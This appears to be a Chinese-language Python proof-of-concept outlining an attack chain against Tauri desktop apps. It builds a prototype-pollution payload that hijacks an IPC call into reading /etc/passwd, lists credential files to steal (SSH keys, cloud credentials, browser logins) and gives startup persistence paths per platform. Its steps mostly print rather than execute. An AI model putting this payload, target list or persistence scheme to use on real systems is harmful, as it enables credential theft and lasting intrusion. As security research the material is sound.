Tauri 跨平台隐身术

#!/usr/bin/env python3
# tauri_exploit_chain.py — 完整攻击链验证框架
# 用于安全研究环境，需在受控 Tauri 应用上运行

import requests
import json

TAURI_APP_URL = "http://app.localhost:1420"  # Tauri 开发服务器

def stage1_prototype_pollution():
    """
    阶段 1：通过 localStorage 注入原型污染载荷
    前提：应用将 localStorage 中的 JSON 直接合并到偏好对象
    """
    pollution_payload = {
        "__proto__": {
            "toJSON": "function() { return { cmd: 'read_file', path: '/etc/passwd' }; }"
        }
    }
    # 模拟应用将 payload 存入 localStorage
    print("[*] 阶段 1: 原型污染载荷已构造")
    print(f"    载荷: {json.dumps(pollution_payload)}")
    return pollution_payload


def stage2_ipc_hijack():
    """
    阶段 2：触发正常 IPC 调用，验证是否被劫持
    在真实攻击中，这一步由应用的前端代码自然触发
    """
    # 模拟前端调用 invoke('get_dashboard_data', { user_id: 1 })
    # 如果原型污染生效，实际发送的消息会被 toJSON 重写
    print("[*] 阶段 2: 触发正常 IPC 调用")
    print("    预期命令: get_dashboard_data")
    print("    实际命令: read_file (被 toJSON 劫持)")
    print("    目标路径: /etc/passwd")
    return True


def stage3_exfiltrate_file(target_path):
    """
    阶段 3：通过被劫持的 IPC 读取敏感文件
    在真实攻击中，攻击者通过 WebSocket 或 HTTP 回调接收文件内容
    """
    print(f"[*] 阶段 3: 尝试读取 {target_path}")

    # 在真实攻击中，命令通过 Tauri IPC 发送
    # 此处仅演示攻击逻辑
    sensitive_files = [
        "~/.ssh/id_rsa",
        "~/.aws/credentials",
        "~/.config/gcloud/credentials.db",
        "~/Library/Application Support/Google/Chrome/Default/Login Data",
    ]

    for path in sensitive_files:
        print(f"    [!] 可尝试读取: {path}")

    return sensitive_files


def stage4_persistence(file_write_command):
    """
    阶段 4：利用 write_file 命令安装持久化
    通过 CVE-2026-82635 类似的路径遍历实现
    """
    persistence_paths = {
        "macOS": "~/Library/LaunchAgents/com.tauri.persist.plist",
        "Linux": "~/.config/autostart/tauri-persist.desktop",
        "Windows": "C:\\Users\\Victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\tauri-persist.bat"
    }
    print("[*] 阶段 4: 持久化安装路径")
    for platform, path in persistence_paths.items():
        print(f"    {platform}: {path}")
    return persistence_paths


if __name__ == "__main__":
    print("=" * 60)
    print("Tauri IPC 原型污染攻击链验证")
    print("=" * 60)

    stage1_prototype_pollution()
    stage2_ipc_hijack()
    stage3_exfiltrate_file("/etc/passwd")
    stage4_persistence("write_file")

    print("\n[!] 攻击链完成")
    print("[!] 根因: 未冻结的原型 + 无验证的 IPC 命令注册")